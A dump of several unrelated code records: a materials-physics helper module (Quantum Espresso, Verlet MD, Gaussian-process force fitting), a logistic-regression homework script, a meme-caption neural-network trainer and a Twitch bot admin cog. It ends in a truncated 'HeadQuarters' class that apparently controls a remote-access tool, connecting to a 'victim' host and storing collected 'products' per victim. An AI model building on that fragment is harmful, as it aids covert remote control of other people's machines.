------------------------------------------------------\n# Quantum Espresso helper functions\n# ------------------------------------------------------\n\ndef get_supercell(unit_cell, dim, unit_pos):\n \"\"\"\n Create supercell\n \"\"\"\n\n # initialize position list\n positions = []\n\n # define bravais lattice vectors\n vec1 = np.array(unit_cell[0])\n vec2 = np.array(unit_cell[1])\n vec3 = np.array(unit_cell[2])\n\n # append positions of atoms in supercell\n for m in range(dim):\n for n in range(dim):\n for p in range(dim):\n for q in range(len(unit_pos)):\n positions.append([unit_pos[q][0], \\\n list(np.array(unit_pos[q][1]) + \\\n m * vec1 + n * vec2 + p * vec3)])\n\n # get supercell dimensions\n supercell = list(np.array(unit_cell) * dim)\n\n return positions, supercell\n\n\ndef perturb_struc(positions, pert_size):\n \"\"\"\n Perturb the positions in a supercell\n \"\"\"\n\n # loop through positions and add a random perturbation\n for n in range(len(positions)):\n for m in range(3):\n # get current coordinate\n coord_curr = positions[n][1][m]\n\n # get perturbation by drawing from uniform\n pert = np.random.uniform(-pert_size, pert_size)\n\n # perturb the coordinate\n positions[n][1][m] += pert\n\n return positions\n\n\ndef get_position_txt(positions, supercell):\n \"\"\"\n Put supercell positions and cell parameters in QE friendly format\n Based on Boris K's AP275 code\n \"\"\"\n # write atomic positions\n postxt = ''\n postxt += 'ATOMIC_POSITIONS {angstrom}'\n for pos in positions:\n postxt += '\\n {} {:1.5f} {:1.5f} {:1.5f}'.format(pos[0], *pos[1])\n\n # write cell parameters\n celltxt = ''\n celltxt += 'CELL_PARAMETERS {angstrom}'\n for vector in supercell:\n celltxt += '\\n {:1.5f} {:1.5f} {:1.5f}'.format(*vector)\n return postxt, celltxt\n\n\ndef get_perturbed_pos(unit_cell, dim, unit_pos, pert_size):\n \"\"\"\n Get perturbed positions\n \"\"\"\n # get perturbed structure\n positions, supercell = get_supercell(unit_cell, dim, unit_pos)\n positions = perturb_struc(positions, pert_size)\n pos, cell = get_position_txt(positions, supercell)\n\n # get position array\n pos_array = [positions[n][1] for n in range(len(positions))]\n\n return pos, cell, pos_array, supercell, positions\n\n\ndef add_label(pos, pos_label):\n \"\"\"\"\n Add atom labels to position array\n \"\"\"\n lab = []\n for n in range(len(pos)):\n lab.append([pos_label[n][0], pos[n]])\n\n return lab\n\n\ndef write_file(fname, text):\n \"\"\"\n Create text file\n \"\"\"\n with open(fname, 'w') as fin:\n fin.write(text)\n\n\ndef run_command(command):\n \"\"\"\n Run command\n \"\"\"\n myrun = subprocess.call(command, shell=True)\n\n\ndef get_scf_input(pos, cell, pseudo_dir, outdir, unit_cell, unit_pos, \\\n ecut, nk, dim, nat, pert_size):\n \"\"\"\n Create initial scf input\n \"\"\"\n scf_text = \"\"\" &control\n calculation = 'scf'\n pseudo_dir = '{0}'\n outdir = '{1}'\n tprnfor = .true.\n /\n &system\n ibrav= 0\n nat= {2}\n ntyp= 1\n ecutwfc ={3}\n nosym = .true.\n /\n &electrons\n conv_thr = 1.0d-10\n mixing_beta = 0.7\n /\nATOMIC_SPECIES\n Si 28.086 Si.pz-vbc.UPF\n{4}\n{5}\nK_POINTS automatic\n {6} {6} {6} 0 0 0\n \"\"\".format(pseudo_dir, outdir, \\\n nat, ecut, cell, pos, nk)\n\n return scf_text\n\n\ndef run_scf(scf_text, in_file, pw_loc, npool, out_file):\n \"\"\"\n Run scf calculation\n \"\"\"\n\n # write input file\n write_file(in_file, scf_text)\n\n # call qe\n # qe_command = 'mpirun {0} -npool {1} < {2} > {3}'.format(pw_loc, npool, in_file, out_file)\n qe_command = '{0} < {1} > {2}'.format(pw_loc, in_file, out_file)\n run_command(qe_command)\n\n\ndef parse_forces(outfile):\n \"\"\"\n Get forces in Ry/a.u.\n Based on Steven T's MD parser\n \"\"\"\n # get lines\n with open(outfile, 'r') as outf:\n lines = outf.readlines()\n\n # use exclamation point to chop the file\n split_indexes = [N for N in range(len(lines)) if '!' == lines[N][0]]\n\n # cut out the first chunk\n first_chunk = lines[0:split_indexes[0]]\n\n # carve the rest into chunks\n step_chunks = []\n for n in range(len(split_indexes)):\n step_chunks.append(lines[split_indexes[n]:split_indexes[n + 1] \\\n if n != len(split_indexes) - 1 else len(lines)])\n\n # loop through the chunks\n for current_chunk in step_chunks:\n # get force indices\n force_start_line = [line for line in current_chunk if 'Forces acting on atoms' in line][0]\n force_end_line = [line for line in current_chunk if 'Total force' in line][0]\n force_start_index = current_chunk.index(force_start_line) + 2\n force_end_index = current_chunk.index(force_end_line) - 2\n\n # record forces\n forces = []\n for line in current_chunk[force_start_index:force_end_index + 1]:\n forceline = line.split('=')[-1].split()\n forces.append([float(forceline[0]), \\\n float(forceline[1]), \\\n float(forceline[2])])\n\n return forces\n\n\n# ------------------------------------------------------\n# molecular dynamics helper functions\n# ------------------------------------------------------\n\n# code adapted from Steven's MD engine\n\n# assumptions for inputs:\n# positions in angstrom\n# forces in Ry/au\n# mass in atomic mass units\n# step in rydberg a.u.\n\n# functions return updated positions in angstrom\n\ndef update_first(pos_curr, forces_curr, step, mass):\n \"\"\"\n Update first positions\n \"\"\"\n # unit conversions\n force_conv = 25.71104309541616 * 1.602176620898e-19 / 1e-10 # Ry/a.u. to J/m\n mass_conv = 1.66053904020e-27 # atomic mass units to kg\n time_conv = 4.83776865301828e-17 # rydberg a.u. to s\n len_conv = 1e-10 # angstrom to meters\n\n # change in position\n change = ((1 / 2) * forces_curr * force_conv * (step * time_conv) ** 2 / (mass * mass_conv)) / len_conv\n\n # new positions\n pos_next = pos_curr + change\n\n return pos_next\n\n\ndef update_position(pos_curr, pos_prev, forces_curr, step, mass):\n \"\"\"\n Update positions using Verlet integration\n \"\"\"\n # unit conversions\n force_conv = 25.71104309541616 * 1.602176620898e-19 / 1e-10 # Ry/a.u. to J/m\n mass_conv = 1.66053904020e-27 # atomic mass units to kg\n time_conv = 4.83776865301828e-17 # rydberg a.u. to s\n len_conv = 1e-10 # angstrom to meters\n\n # new positions\n pos_next = (2 * pos_curr * len_conv - \\\n pos_prev * len_conv + \\\n forces_curr * force_conv * (step * time_conv) ** 2 / (mass * mass_conv)) / len_conv\n\n return pos_next\n\n\n# ------------------------------------------------------\n# fingerprint helper functions\n# ------------------------------------------------------\n\ndef get_cutoff_vecs(vec, brav_mat, brav_inv, vec1, vec2, vec3, cutoff):\n # get bravais coefficients\n coeff = np.matmul(brav_inv, vec)\n\n # get bravais coefficients for atoms within one super-super-super-cell\n coeffs = [[], [], []]\n for n in range(3):\n coeffs[n].append(coeff[n])\n coeffs[n].append(coeff[n] - 1)\n coeffs[n].append(coeff[n] + 1)\n coeffs[n].append(coeff[n] - 2)\n coeffs[n].append(coeff[n] + 2)\n\n # get vectors within cutoff\n vecs = []\n dists = []\n for m in range(len(coeffs[0])):\n for n in range(len(coeffs[1])):\n for p in range(len(coeffs[2])):\n vec_curr = coeffs[0][m] * vec1 + coeffs[1][n] * vec2 + coeffs[2][p] * vec3\n\n dist = np.linalg.norm(vec_curr)\n\n if dist < cutoff:\n vecs.append(vec_curr)\n dists.append(dist)\n\n return vecs, dists\n\n\ndef symmetrize_forces(pos, atom, cutoff, eta_lower, eta_upper, eta_length, brav_mat, brav_inv, \\\n vec1, vec2, vec3):\n \"\"\"\n Given a supercell and an atom number, return symmetry vectors\n \"\"\"\n # set atom position\n pos_atom = np.array(pos[atom])\n etas = np.logspace(eta_lower, eta_upper, eta_length)\n\n # initialize symmetry vectors\n symm_x = np.zeros([len(etas)])\n symm_y = np.zeros([len(etas)])\n symm_z = np.zeros([len(etas)])\n\n # loop through positions to find all atoms and images in the neighborhood\n for n in range(len(pos)):\n # note that images of the atom don't contribute to symmetry vectors\n if n != atom:\n # position relative to reference atom\n diff_curr = np.array(pos[n]) - pos_atom\n\n # get images within cutoff\n vecs, dists = get_cutoff_vecs(diff_curr, brav_mat, \\\n brav_inv, vec1, vec2, vec3, cutoff)\n\n # symmetrize according to Botu (2015)\n for vec, dist in zip(vecs, dists):\n # get cutoff factor\n # cut_val = 0.5 * (np.cos(np.pi * dist / cutoff) + 1)\n cut_val = 1\n\n # get raw symmetry vectors\n symm_x += [(vec[0] / dist) * \\\n np.exp(-(dist / eta) ** 2) * cut_val for eta in etas]\n\n symm_y += [(vec[1] / dist) * \\\n np.exp(-(dist / eta) ** 2) * cut_val for eta in etas]\n\n symm_z += [(vec[2] / dist) * \\\n np.exp(-(dist / eta) ** 2) * cut_val for eta in etas]\n\n # concatenate the symmetry vectors to represent the full environment\n symm_x_cat = np.concatenate((symm_x, symm_y, symm_z))\n symm_y_cat = np.concatenate((symm_y, symm_z, symm_x))\n symm_z_cat = np.concatenate((symm_z, symm_x, symm_y))\n\n return symm_x_cat, symm_y_cat, symm_z_cat\n\n\ndef augment_database(pos, forces, database, cutoff, eta_lower, eta_upper, eta_length, \\\n brav_mat, brav_inv, vec1, vec2, vec3):\n \"\"\"\n For a given supercell, calculate symmetry vectors for each atom\n \"\"\"\n for n in range(len(pos)):\n # get symmetry vectors\n symm_x, symm_y, symm_z = symmetrize_forces(pos, n, cutoff, eta_lower, eta_upper, \\\n eta_length, brav_mat, brav_inv, vec1, vec2, vec3)\n\n # append symmetry vectors\n database['symms'].append(symm_x)\n database['symms'].append(symm_y)\n database['symms'].append(symm_z)\n\n # append force components\n database['forces'].append(forces[n][0])\n database['forces'].append(forces[n][1])\n database['forces'].append(forces[n][2])\n\n\ndef normalize_symm(td):\n \"\"\"\n Normalize the symmetry vectors in the training set\n \"\"\"\n symm_len = len(td['symms'][0])\n td_size = len(td['symms'])\n\n # initialize normalized symmetry vector\n td['symm_norm'] = copy.deepcopy(td['symms'])\n\n # store normalization factors\n td['symm_facs'] = []\n\n for m in range(symm_len):\n # calculate standard deviation of current symmetry element\n vec = np.array([td['symms'][n][m] for n in range(td_size)])\n vec_std = np.std(vec)\n\n # store standard deviation\n td['symm_facs'].append(vec_std)\n\n # normalize the current element\n for n in range(td_size):\n td['symm_norm'][n][m] = td['symm_norm'][n][m] / vec_std\n\n\ndef normalize_force(td):\n \"\"\"\n Normalize forces\n \"\"\"\n td_size = len(td['forces'])\n\n # initialize normalized force vector\n td['forces_norm'] = copy.deepcopy(td['forces'])\n\n # calculate standard deviation of force components\n vec_std = np.std(td['forces'])\n\n # store standard deviation\n td['force_fac'] = vec_std\n\n # normalize the forces\n for n in range(td_size):\n td['forces_norm'][n] = td['forces_norm'][n] / vec_std\n\n\ndef aug_and_norm(pos, forces, database, cutoff, eta_lower, eta_upper, eta_length, \\\n brav_mat, brav_inv, vec1, vec2, vec3):\n \"\"\"\n Augment and normalize\n \"\"\"\n # augment\n augment_database(pos, forces, database, cutoff, eta_lower, eta_upper, eta_length, \\\n brav_mat, brav_inv, vec1, vec2, vec3)\n\n # normalize forces and symmetry vectors\n normalize_force(database)\n normalize_symm(database)\n\n\n# ------------------------------------------------------\n# Output file helper functions\n# ------------------------------------------------------\n\ndef update_init():\n init_text = \"\"\"Welcome to PyFly Version 0.0.\nAuthors: Jonathan Vandermause, Steven B. Torrisi, Simon Batzner, Alexie Kolpak, and \\\nBoris Kozinsky.\nTimestamp: %s.\\n \\n\"\"\" % str(datetime.datetime.now())\n\n return init_text\n\n\n# ------------------------------------------------------\n# Gaussian Process helper functions\n# ------------------------------------------------------\n\ndef train_gp(db, length_scale, length_scale_min, length_scale_max):\n \"\"\"\n Train GP model on the current database\n Code adapted from Simon B\n \"\"\"\n # set kernel\n kernel = RBF(length_scale=length_scale, length_scale_bounds=(length_scale_min, length_scale_max))\n\n # make GP\n gp = GaussianProcessRegressor(kernel=kernel, n_restarts_optimizer=20)\n\n # fit GP model\n x_train = db['symm_norm']\n y_train = db['forces_norm']\n gp.fit(x_train, y_train)\n\n return gp\n\n\ndef gp_pred(symm, norm_fac, gp):\n \"\"\"\n Predict force with the current gp model\n \"\"\"\n # predict with model\n pred = gp.predict(symm.reshape(1, -1), return_std=True)\n force_pred = pred[0][0] * norm_fac\n std_pred = pred[1][0] * norm_fac\n\n return force_pred, std_pred\n\n\ndef pred_comp(pos_curr, atom, cutoff, eta_lower, eta_upper, eta_length, brav_mat, brav_inv, \\\n vec1, vec2, vec3, p, db, gp, force_conv):\n \"\"\"\n Predict force component p for a given atom\n \"\"\"\n # symmetrize chemical environment\n symm = symmetrize_forces(pos_curr, atom, cutoff, eta_lower, eta_upper, eta_length, brav_mat, brav_inv, \\\n vec1, vec2, vec3)\n\n symm_comp = symm[p]\n symm_norm = np.array([symm_comp[q] / db['symm_facs'][q] for q in range(len(symm_comp))])\n\n # estimate the force component and model error\n norm_fac = db['force_fac']\n force_pred, std_pred = gp_pred(symm_norm, norm_fac, gp)\n\n # calculate error\n err_pred = std_pred * force_conv\n\n return force_pred, err_pred\n\n# ------------------------------------------------------\n# Math helper functions\n# ------------------------------------------------------\n\n\ndef first_derivative_2nd(fm, fp, h):\n \"\"\"\n Computes the second-order accurate finite difference form of the first derivative\n which is ( fp/2 - fm/2)/(h)\n as seen on Wikipedia: https://en.wikipedia.org/wiki/Finite_difference_coefficient\n \"\"\"\n if h == 0:\n print(\"Warning... Trying to divide by zero. Derivative will diverge.\")\n return np.nan\n\n return (fp - fm) / float(2 * h)\n\n\ndef first_derivative_4th(fmm, fm, fp, fpp, h):\n \"\"\"\n Computes the fourth-order accurate finite difference form of the first derivative\n which is (fmm/12 - 2 fm /3 + 2 fp /3 - fpp /12)/h\n as seen on Wikipedia: https://en.wikipedia.org/wiki/Finite_difference_coefficient\n \"\"\"\n\n if h == 0:\n print(\"Warning... Trying to divide by zero. Derivative will diverge.\")\n\n return (fmm / 12. - 2 * fm / 3. + 2 * fp / 3. - fpp / 12.) / float(h)\n\n\n# ------------------------------------------------------\n# Standard Python Object Helpers\n# ------------------------------------------------------\n\n\ndef flatten_dict(d):\n \"\"\"\n Recursively flattens dictionary\n :param d: dict to flatten\n :return: flattened dict\n \"\"\"\n\n def expand(key, value):\n if isinstance(value, dict):\n return [(key + '.' + k, v) for k, v in flatten_dict(value).items()]\n else:\n return [(key, value)]\n\n items = [item for k, v in d.items() for item in expand(k, v)]\n\n return dict(items)\n\nclass dotdict(dict):\n \"\"\"dot.notation access to dictionary attributes\"\"\"\n __getattr__ = dict.get\n __setattr__ = dict.__setitem__\n __delattr__ = dict.__delitem__\n# ------------------------------------------------------\n# Homemade Gaussian Process helper functions\n# ------------------------------------------------------\n\ndef SE_cov(x1, x2, sig, ls):\n \"\"\"\n Get squared exponential covariance between two input vectors\n \"\"\"\n k = sig ** 2 * np.exp(-np.sum((x1 - x2) ** 2) / (2 * ls ** 2))\n\n return k\n\n\ndef get_SE_K(X, sig, ls):\n \"\"\"\n Get nxn noiseless kernel matrix; X is Dxn design matrix\n \"\"\"\n nod = X.shape[0] # number of dimensions\n noi = X.shape[1] # number of inputs\n\n # create diagonal\n K = np.diag(sig ** 2 * np.ones(noi))\n\n # calculate off diagonals\n for m in range(noi):\n for n in range(m + 1, noi):\n cov = SE_cov(X[:, m], X[:, n], sig, ls)\n K[m, n] = cov\n K[n, m] = cov\n\n # perform cholesky decomposition\n L = np.linalg.cholesky(K)\n\n return K, L\n\n\ndef get_SE_kv(X, x, sig, ls):\n \"\"\"\n Get kernel vector\n \"\"\"\n kv = np.zeros([X.shape[1], 1])\n for m in range(X.shape[1]):\n kv[m] = SE_cov(X[:, m], x, sig, ls)\n\n return kv\n\n\ndef GP_SE_alpha(K, L, y):\n \"\"\"\n Get alpha\n \"\"\"\n ts1 = sp.linalg.solve_triangular(L, y, lower=True)\n alpha = sp.linalg.solve_triangular(L.transpose(), ts1)\n\n return alpha\n\n\ndef GP_SE_like(K, L, y, alpha):\n \"\"\"\n Get log marginal likelihood\n \"\"\"\n like = -(1 / 2) * np.matmul(y.transpose(), alpha) - \\\n np.sum(np.log(np.diagonal(L))) - \\\n np.log(2 * np.pi) * K.shape[1] / 2\n\n return like\n\n\ndef like_hyp(hyp, X, y):\n \"\"\"\n Get likelihood as a function of hyperparameters\n \"\"\"\n # unpack hyperparameters\n sig = hyp[0]\n ls = hyp[1]\n\n # calculate likelihood\n K, L = get_SE_K(X, sig, ls)\n alpha = GP_SE_alpha(K, L, y)\n like = GP_SE_like(K, L, y, alpha)\n\n return like\n\n\ndef minus_like_hyp(hyp, X, y):\n \"\"\"\n Get minus likelihood as a function of hyperparameters\n \"\"\"\n like = like_hyp(hyp, X, y)\n minus_like = -like\n\n return minus_like\n\n\ndef GP_SE_pred(X, y, K, L, alpha, sig, ls, xt):\n \"\"\"\n Make GP prediction with SE kernel\n \"\"\"\n # get kernel vector\n kv = get_SE_kv(X, xt, sig, ls)\n\n # get predictive mean\n f = np.matmul(kv.transpose(), alpha)\n\n # get predictive variance\n v = sp.linalg.solve_triangular(L, kv, lower=True)\n var = sig ** 2 - np.matmul(v.transpose(), v)\n\n return f, var\n","sub_path":"src/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":19042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"221576932","text":"import pandas as pd\r\nimport os\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.metrics import classification_report\r\n\r\n\r\ndata_path = os.getcwd() + \"/practice/Day48/data/\"\r\ncol = []\r\n\r\nfor i in range(1 , 41) : \r\n col.append(\"C\" + str(i))\r\n\r\n\r\ntry : \r\n train_df = pd.read_csv(data_path + \"train.csv\" , header = None)\r\n train_df.columns = col\r\n train_df['target'] = pd.read_csv(data_path + \"trainLabels.csv\" , header = None)\r\n test_df = pd.read_csv(data_path + \"test.csv\" , header = None)\r\n test_df.columns = col\r\nexcept : \r\n print(\"read file error\")\r\n\r\n\r\ntrain_Y = train_df['target']\r\ntrain_df = train_df.drop('target' , axis = 1)\r\n\r\ntrain_num = train_df.shape[0]\r\n\r\ndf_X = pd.concat([train_df , test_df])\r\n\r\nmmScaler = MinMaxScaler()\r\ndf = mmScaler.fit_transform(df_X)\r\n\r\ntrain_X = df[:train_num]\r\ntest_X = df[train_num:]\r\n\r\nlr = LogisticRegression()\r\nlr.fit(train_X , train_Y)\r\npred_Y = lr.predict(test_X)\r\n\r\noutput = pd.DataFrame(pred_Y , columns = ['Solution'])\r\noutput.index = list(range(1 , 9001))\r\nprint(output.tail())\r\noutput.to_csv(data_path + \"predition.csv\")","sub_path":"practice/Day48/Day_048_HW.py","file_name":"Day_048_HW.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"136481372","text":"from cnnLSTMmodel import EncoderCNN, DecoderRNN\nimport torch\nimport torch.nn as nn\nimport pickle\nimport os\nimport json\nimport timeit\nimport nltk\nimport numpy as np\nfrom PIL import Image\nfrom textblob import TextBlob\nfrom memelookup import MEME\nfrom torch.nn.utils.rnn import pack_padded_sequence, PackedSequence\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms\nfrom meme_vocabulary import Vocabulary\nimport string\nfrom nltk.tokenize.casual import TweetTokenizer\nfrom sklearn.metrics import accuracy_score\ntweet_tokenizer = TweetTokenizer()\n\n\n\"\"\" This is main driver for training the image/caption dataset\"\"\"\n\"\"\" This is my implementation of pytorch's image captioning encoderCNN and decoderRNN\"\"\"\n\ncurrent_dir = os.getcwd()\ndata_dir = '/data/'\nimage_dir = '/image_resized/'\nmodel_dir = '/models/'\nvocab_path = current_dir + '/vocab.pkl'\ncaption_path = current_dir + data_dir + 'captions.json'\nimage_path = current_dir + image_dir\nmodel_path = current_dir + model_dir\nembed_size = 300\nhidden_size = embed_size\nbatch_size = 1024\nnum_workers = 2\nnum_layers = 3\nnum_epochs = 10\nlearning_rate = 0.01\ncrop_size = 224\nsave_step = 1\nlog_step = 5\nshuffle = True\n\n\n\nclass memeDataset(DataLoader):\n \"\"\"MEME Custom Dataset compatible with torch.utils.data.DataLoader.\"\"\"\n def __init__(self, root, json, vocab, transform=None):\n\n self.image_path = image_path\n self.meme = MEME(json)\n self.ids = list(self.meme.caps.keys())\n self.vocab = vocab\n self.transform = transform\n self.root = root\n\n def __getitem__(self,index):\n \"\"\"Returns image and data caption pair\"\"\"\n meme = self.meme\n vocab = self.vocab\n cap_id = self.ids[index]\n caption = meme.caps[cap_id]['caption']\n img_id = meme.caps[cap_id]['image_id']\n path = meme.loadImgs(img_id)[0]['file_name']\n image = Image.open(os.path.join(self.root, path)).convert('RGB')\n vocab = self.vocab\n stop = list(string.punctuation)\n if self.transform is not None:\n image = self.transform(image)\n\n # Convert caption (string) to word ids.\n caption = caption.replace(\"'\",\"\")\n caption = caption.split(' ')\n upper_caption = caption[0]\n lower_caption = caption[-1]\n\n upper_cap_list = list(tuple(TextBlob(upper_caption).tokens))\n lower_cap_list = list(tuple(TextBlob(lower_caption).tokens))\n\n\n upper_tokens = [word.lower() for word in upper_cap_list if word in vocab.word_to_index ]\n lower_tokens = [word.lower() for word in lower_cap_list if word in vocab.word_to_index ]\n\n caption = []\n caption.append(vocab(''))\n caption.extend([vocab(token) for token in upper_tokens])\n caption.append(vocab(''))\n caption.extend([vocab(token) for token in lower_tokens])\n caption.append(vocab(''))\n #print(caption)\n captions = [cap for cap in caption]\n target = torch.Tensor(captions)\n\n return image, target\n\n def __len__(self):\n return len(self.ids)\n\n\ndef collate_fn(data):\n \"\"\"Creates mini-batch tensors from the list of tuples (image, caption).\n Returns:\n images: torch tensor of shape (batch_size, 3, 300, 300).\n targets: torch tensor of shape (batch_size, padded_length).\n lengths: list; valid length for each padded caption.\n embeddings: torch tensor shape of (batch_size, word embedding dim (300)).\n \"\"\"\n # Sort a data list by caption length (descending order).\n\n info_dump = f\"\"\"\n The data is of type {type(data)}\n The length of the data is {len(data)}\n The length of the first element is {len(data[0])}\n \"\"\"\n #print(info_dump, flush=True)\n # for index, (image,caption,embeddings) in enumerate(data):\n #\n # print(f\"image:{image},image size:{image.size()}\")\n # print(f\"caption:{caption},captionsize: {caption.size()}\")\n # print(f\"embeddings:{embeddings}, embedding_size:{embeddings.size()}\")\n\n data.sort(key=lambda x: len(x[1]), reverse=True)\n images, captions = zip(*data)\n # Merge images (from tuple of 3D tensor to 4D tensor).\n images = torch.stack(images, 0)\n # Merge captions (from tuple of 1D tensor to 2D tensor).\n lengths = [len(cap) for cap in captions]\n targets = torch.zeros(len(captions), max(lengths)).long()\n for i, cap in enumerate(captions):\n targets[i, :len(cap)] = cap\n\n return images, targets, lengths\n\n\nif __name__ == '__main__':\n # configure the device\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n # open image and caption files\n with open(vocab_path, 'rb') as f:\n vocab = pickle.load(f)\n\n print(vocab)\n json = 'captions.json'\n\n # create DataLoader from my meme dataset\n # my images: a tensor of shape (batch_size, 3, crop_size, crop_size)\n # my captions: a tensor of shape (batch_size, padded_length)\n # my lengths: a list indicating valid length for each caption. length is (batch_size).\n # transform = transforms.Compose([\n # transforms.RandomCrop(crop_size),\n # transforms.RandomHorizontalFlip(),\n # transforms.ToTensor(),\n # transforms.Normalize((0.485, 0.456, 0.406),\n # (0.229, 0.224, 0.225))\n # ])\n\n transform = transforms.Compose([\n transforms.Resize(crop_size),\n transforms.ToTensor(),\n # transforms.Normalize((0.485, 0.456, 0.406),\n # (0.229, 0.224, 0.225))\n ])\n\n memedata = memeDataset(root=image_path,\n json=json,\n vocab=vocab,\n transform=transform)\n\n data_loader = DataLoader(dataset=memedata,\n batch_size=batch_size,\n shuffle=shuffle,\n num_workers=num_workers,\n collate_fn=collate_fn)\n\n\n\n total_step = len(data_loader)\n\n\n # build models\n encoder = EncoderCNN(embed_size).to(device)\n decoder = DecoderRNN(embed_size, hidden_size, len(vocab), vocab.embedding_matrix, num_layers).to(device)\n\n # Loss and optimizer\n criterion = nn.CrossEntropyLoss()\n params = list(decoder.parameters()) + list(encoder.linear.parameters()) + list(encoder.bn.parameters())\n\n for epoch in range(num_epochs):\n if epoch % 5 == 0:\n learning_rate = learning_rate/5\n optimizer = torch.optim.Adam(params,lr=learning_rate) # prefered for computer vision problems, Adam realizes the benefits of both AdaGrad and RMSProp.\n epoch_start = timeit.timeit()\n for i, (images, captions, lengths) in enumerate(data_loader):\n\n encoder.eval()\n decoder.train()\n optimizer.zero_grad()\n minibatch_start = timeit.timeit()\n X_captions = captions[:, :-1]\n X_captions = X_captions.to(device)\n y_captions = captions[:, 1:]\n y_captions = y_captions.to(device)\n\n # Set mini-batch dataset\n\n images = images.to(device)\n captions = captions.to(device)\n lengths = [seq_len - 1 for seq_len in lengths]\n\n # Forward, backward and optimize\n features = encoder(images)\n outputs = decoder(features, X_captions, lengths)\n targets = pack_padded_sequence(y_captions, lengths, batch_first=True)[0]\n loss = criterion(outputs, targets)\n acc = accuracy_score(targets, outputs.argmax(-1))\n print('epoch acc', acc)\n decoder.zero_grad()\n encoder.zero_grad()\n loss.backward()\n optimizer.step()\n\n # Print log info\n\n if i % log_step == 0:\n minibatch_end = timeit.timeit()\n print('Epoch [{}/{}], Step [{}/{}], Loss: {:.4f}, Perplexity: {:5.4f}'.format(epoch, num_epochs, i, total_step, loss.item(), np.exp(loss.item())))\n print('Approx time per logstep [{}]'.format((minibatch_start - minibatch_end)))\n # Save the model checkpoints\n if (i+1) % save_step == 0:\n torch.save(decoder.state_dict(), os.path.join(\n model_path, 'decoder-{}-{}.ckpt'.format(epoch+1, i+1)))\n torch.save(encoder.state_dict(), os.path.join(model_path, 'encoder-{}-{}.ckpt'.format(epoch+1, i+1)))\n\n epoch_end = timeit.timeit()\n if i % log_step == 0:\n print('Approx time per epoch {}'.format((epoch_start - epoch_end)))\n print('fml')\n torch.save((encoder, decoder), os.path.join(model_path, 'full_model.pt'))\n","sub_path":"03_train_dankly.py","file_name":"03_train_dankly.py","file_ext":"py","file_size_in_byte":8687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"600351192","text":"import os\nimport logging\n\nfrom twitchio.ext import commands\nfrom twitchio import Context\nfrom bots.twitch_bot import TwitchBot\n\nlogger = logging.getLogger('ronnia')\n\n\n@commands.cog()\nclass AdminCog:\n\n def __init__(self, bot: TwitchBot):\n self.bot = bot\n\n @commands.command(name=\"adduser\")\n async def add_user_to_db(self, ctx: Context, *args):\n if ctx.author.name != os.getenv('BOT_NICK'):\n return\n\n twitch_username = args[0].lower()\n osu_username = args[1].lower()\n\n osu_user_info, twitch_user_info = await self.bot.get_osu_and_twitch_details(osu_user_id_or_name=osu_username,\n twitch_id_or_name=twitch_username)\n\n twitch_id = twitch_user_info[0].id\n osu_user_id = osu_user_info['user_id']\n self.bot.users_db.add_user(osu_username=osu_username, twitch_username=twitch_username,\n twitch_id=twitch_id, osu_user_id=osu_user_id)\n await self.bot.join_channels([twitch_username])\n logger.info(f'Adding {twitch_username} - {osu_username} to user database!')\n await ctx.send(f'Added {twitch_username} -> {osu_username}.')\n\n @commands.command(name=\"rmuser\")\n async def remove_user_from_db(self, ctx: Context, *args):\n if ctx.author.name != os.getenv('BOT_NICK'):\n return\n\n twitch_username = args[0].lower()\n\n self.bot.users_db.remove_user(twitch_username=twitch_username)\n await self.bot.part_channels([twitch_username])\n await ctx.send(f'Removed {twitch_username}.')\n logger.info(f'Removed {twitch_username}!')\n\n @commands.command(name=\"test\")\n async def toggle_test_for_user(self, ctx: Context, *args):\n if ctx.author.name != os.getenv('BOT_NICK'):\n return\n\n twitch_username = args[0].lower()\n new_value = self.bot.users_db.toggle_setting('test', twitch_username)\n await ctx.send(f'Setting test to {new_value} for {twitch_username}.')\n logger.info(f'Setting test to {new_value} for {twitch_username}.')\n\n @commands.command(name=\"status\")\n async def get_active_channels(self, ctx: Context):\n if ctx.author.name != os.getenv('BOT_NICK'):\n return\n\n all_users = self.bot.users_db.get_all_users()\n\n not_joined = []\n for user in all_users:\n if user['twitch_username'] not in self.bot._ws._channel_cache:\n not_joined.append(user['twitch_username'])\n\n if len(not_joined) != 0:\n await ctx.send('Not joined to: ' + ','.join(not_joined))\n else:\n await ctx.send('We are connected to every channel')\n\n","sub_path":"src/cogs/admin_cog.py","file_name":"admin_cog.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"491259157","text":"from Commands import CommandParser\r\nfrom Universal.constants import ConnectionConstants as consts\r\nfrom Universal.constants import HQConstants\r\nfrom Universal import ClientSocketHandler, Helper\r\nimport sys, os\r\n\r\n\r\nclass HeadQuarters(object):\r\n def __init__(self, victim_hostname):\r\n self.victim_hostname = victim_hostname\r\n self.__products_base_dir = None\r\n self._connect_to_kli()\r\n self._init_command_parser()\r\n\r\n def _connect_to_kli(self):\r\n \"\"\"\r\n Method initiates the connection to victim using SocketHandler class.\r\n \"\"\"\r\n try:\r\n self.connection_socket = ClientSocketHandler(consts.TCP_PORT, self.victim_hostname,\r\n consts.SOCKET_TIMEOUT_LENGTH)\r\n except RuntimeError:\r\n # connection failed - end run\r\n Helper.print_and_log(consts.CONNECTION_FAILED_MSG.format(self.victim_hostname))\r\n raw_input()\r\n sys.exit()\r\n\r\n # connection successful!\r\n Helper.print_and_log(consts.CONNECTION_SUCCESS_MSG.format(self.connection_socket.peer_ip))\r\n\r\n def _get_products_base_dir(self):\r\n abs_path = os.path.realpath(os.curdir)\r\n relative_products_dir = HQConstants.RELATIVE_PRODUCTS_DIR.format(hostname=self.connection_socket.peer_hostname,\r\n ip=self.connection_socket.peer_ip)\r\n return os.path.join(abs_path, relative_products_dir)\r\n\r\n @property\r\n def _products_base_dir(self):\r\n if not self.__products_base_dir:\r\n self.__products_base_dir = self._get_products_base_dir()\r\n return self.__products_base_dir\r\n\r\n def 